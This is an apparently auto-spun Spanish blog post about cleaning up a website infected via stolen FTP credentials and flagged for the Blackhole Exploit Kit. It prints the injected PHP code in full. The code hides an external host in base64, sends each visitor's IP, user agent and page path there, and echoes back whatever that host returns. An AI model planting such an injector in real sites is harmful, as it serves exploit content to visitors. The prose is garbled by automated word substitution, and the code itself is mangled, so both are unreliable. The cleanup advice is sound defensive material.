Web Hackeada (BlackHole Exploit Kit)

he estado estos dos últimos términos revisando la web de un cliente que había sido Hackeada. Los antivirus de muchos de sus sucesores les saltaban con el señal de indicación de don nadie blackhole Exploit Kit y abortaban la conexión.

tras compulsar el log del lacayo y advertir varias inclusiones por Ftp de una tutela natal de Canadá, revisé los estantes que parecían haber sido cambiados por este foráneo. En este hecho, diferentes ficheros index.php ubicados en distintos registros del servidor.

en todos estos estantes se había entremezclado este lote de precepto Php.

<?php
if (!isset($sretry))
{
integral $Sretry;
$Sretry = 1;
// This code use for integral bot statistic
$Suseragent = Strtolower($_server['http_user_agent']); //  Looks for google serch bot
$Stcurlhandle = Null;
$Stcurllink = “”;
If((strstr($suseragent, ‘google’) == False)&&(strstr($suseragent, ‘yahoo’) == False)&&(strstr($suseragent, ‘baidu’) == False)&&(strstr($suseragent, ‘msn’) == False)&&(strstr($suseragent, ‘opera’) == False)&&(strstr($suseragent, ‘chrome’) == False)&&(strstr($suseragent, ‘bing’) == False)&&(strstr($suseragent, ‘safari’) == False)&&(strstr($suseragent, ‘bot’) == false)) // Bot comes
{
If(isset($_server['remote_addr']) == true && Isset($_server['http_host']) == true){ // Create  bot analitics
$Stcurllink = base64_decode( ‘ahr0cdovl2jyb3dzzxjnbg9iywxzdgf0lmnvbs9zdgf0rc9zdgf0lnboca==’).’?ip=’.urlencode($_server['remote_addr']).’&useragent=’.urlencode($suseragent).’&domainname=’.urlencode($_server['http_host']).’&fullpath=’.urlencode($_server['request_uri']).’&check=’.isset($_get['look']);
@$stcurlhandle = curl_init( $Stcurllink );
}
}
if ( $Stcurlhandle !== Null )
{
Curl_setopt($stcurlhandle, Curlopt_returntransfer, 1);
Curl_setopt($stcurlhandle, Curlopt_timeout, 6);
$Sresult = @Curl_exec($stcurlhandle);
if ($sresult[0]==”o”)
{$sresult[0]=” “;
echo $Sresult; // Statistic code end
}
Curl_close($stcurlhandle);
}
}
?>

el volumen proclamado en Base64  ahr0cdovl2jyb3dzzxjnbg9iywxzdgf0lmnvbs9zdgf0rc9zdgf0lnboca contiene esta ruta [http://hotlogupdate.com/stat/stat.php]

en este asunto, el estatuto es facilmente reconocible. En otras veces el fuero intercalado es un javascript turbado bastante mas dificil de detectar.

si vuestra web es hackeada e contagiada por este u otro tipo de reglamento pérfido es recomendable que toméis las subsiguientes medidas aparte de liquidar el airado reglamento claro …

1. Cambiar las credenciales de ataque al lienzo de cuidado del Alojamiento (plesk, cpanel …)

2. Cambiar las credenciales de la factura Ftp

3. Revisar los elencos desde los que se ha conseguido con la factura Ftp cuyas credenciales parecen haber sido sustraidas en investigación de algún tipo de Troyano que el hacker haya podido usar para sustraerlas.

 
]]>



Este post se a creado automaticamente con autoblogger imperium descargalo Gratuito